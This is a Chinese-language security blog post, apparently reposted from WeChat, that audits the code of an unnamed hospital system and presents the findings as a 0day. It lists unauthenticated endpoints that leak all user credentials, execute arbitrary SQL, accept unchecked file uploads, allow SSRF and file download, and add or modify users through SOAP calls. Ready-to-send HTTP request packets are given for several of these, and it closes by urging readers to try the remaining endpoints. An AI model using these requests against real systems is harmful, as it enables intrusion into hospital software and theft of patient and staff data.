免责声明:
拿到wbb代码
查看一番后 代码的接口包含了 spring-mvc框架的接口 和Servlet接口
还看到了webService
三类接口
spring-mvc exclude
拿到之后去看一下spring-mvc exclude的接口
这些接口都是没有建立权限的
继续往下面走 看他写的controller
这下面的接口应该是老版本存在的问题
controller
这里随便找到一个接口开始看
继承了BaseController 点进去查看
BaseController
这里使用getPageData方法去获取用户的SeesionUser 去判断用户的权限
使用了 BaseController里面的getPageData方法都是建立了权限的
pd.getString
继续走发现有pd.getString方法进入函数发现
这里就是去获取穿过来的参数 key 就是参数名字
前面看的差不多了 现在来看这套代码出现的问题
Weixin
前面看spring-mvc exlude Weinxin 的接口比较多
这边发现Weixin重新写了一个WeixinBaseController
WeixinBaseController
改了权限的方式
出现问题的第一个接口
/weixin/resource/loadUserByKeyword
信息泄露
/weixin/resource/loadUserByKeyword
这里需要keyword 这个参数 就出现了账户密码的泄露 直接去搜索的
这里进入Mapper 去查看listUsers 查了那些信息
发现是这个Mapper id
会搜索出全部的账户信息
POST /weixin/resource/loadUserByKeyword HTTP/1.1
Host: xxxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=7ACDF4B9C29197DF3782CE603C3E13A4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
keyword=12
/weixin/jssdk/loadsdkconfig
信息泄露
/weixin/jssdk/loadsdkconfig
获取微信SDK信息
根据代码来看 不会进入if
url请求为当前地址
GET //weixin/jssdk/loadsdkconfig?url=xxxxxx HTTP/1.1
Host: xxxxxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=76D8A1EB12D7820972AD3FF8EB7CB802
Connection: close
weixin/index
weixin/index
拿到之后可以直接通过这里登录后台
后台其他接口
sqledit/executeQuery
SQL注入
sqledit/executeQuery?sql=xxxx
直接执行SQL语句
pictures/save
文件上传
pictures/save
获取后缀 然后copyFile 没有对文件做校验
pictures/getImagePath
SSRF
pictures/getImagePath
getImagePathList 正则
然后去做HTTP请求
getHtmlPicture
attachment/portal/uploadFilePaste
文件上传
attachment/portal/uploadFilePaste?type=0
这里对后缀也没有校验
attachment/downLoadFile
文件下载
attachment/downLoadFile?url=xxxx&fname=/x/x
这里传入两个参数走fileDownload
webservice
之前也说了 webservice
这里就去看看webservice
WsServiceImpl
url接口
/webService/services
这里去看看
webService/services?wsdl
这些接口都是有问题的
adduser
给出数据包
POST /webService/services HTTP/1.1
Host: xxxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
xxxxxxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=792AFFE7FCF4DFA61D32DC39EC57E222
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 788
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="tns:ws">
<soapenv:Header/>
<soapenv:Body>
<tns:adduser>
<!--Optional:-->
<username>?</username>
<!--Optional:-->
<name>?</name>
<!--Optional:-->
<roleId>?</roleId>
<!--Optional:-->
<deptCode>?</deptCode>
<!--Optional:-->
<password>?</password>
<!--Optional:-->
<phone>?</phone>
<!--Optional:-->
<userId>?</userId>
<!--Optional:-->
<email>?</email>
<!--Optional:-->
<pyCode>?</pyCode>
<!--Optional:-->
<deptMdId>?</deptMdId>
</tns:adduser>
</soapenv:Body>
</soapenv:Envelope>
updateuser
POST /webService/services HTTP/1.1
Host: xxxxxxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: xxxxxxxxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=792AFFE7FCF4DFA61D32DC39EC57E222
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 788
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="tns:ws">
<soapenv:Header/>
<soapenv:Body>
<tns:updateuser>
<!--Optional:-->
<username>?</username>
<!--Optional:-->
<name>?</name>
<!--Optional:-->
<roleId>?</roleId>
<!--Optional:-->
<deptCode>?</deptCode>
<!--Optional:-->
<password>?</password>
<!--Optional:-->
<phone>?</phone>
<!--Optional:-->
<userId>?</userId>
<!--Optional:-->
<email>?</email>
<!--Optional:-->
<pyCode>?</pyCode>
<!--Optional:-->
<deptMdId>?</deptMdId>
</tns:updateuser>
</soapenv:Body>
</soapenv:Envelope>
最后
很多接口没有去尝试 可以自己去尝试 如果有问题大佬们自己看看代码~~
原文始发于微信公众号(小黑说安全):0day | 某医院系统审计
原文始发于微信公众号(小黑说安全):0day | 某医院系统审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论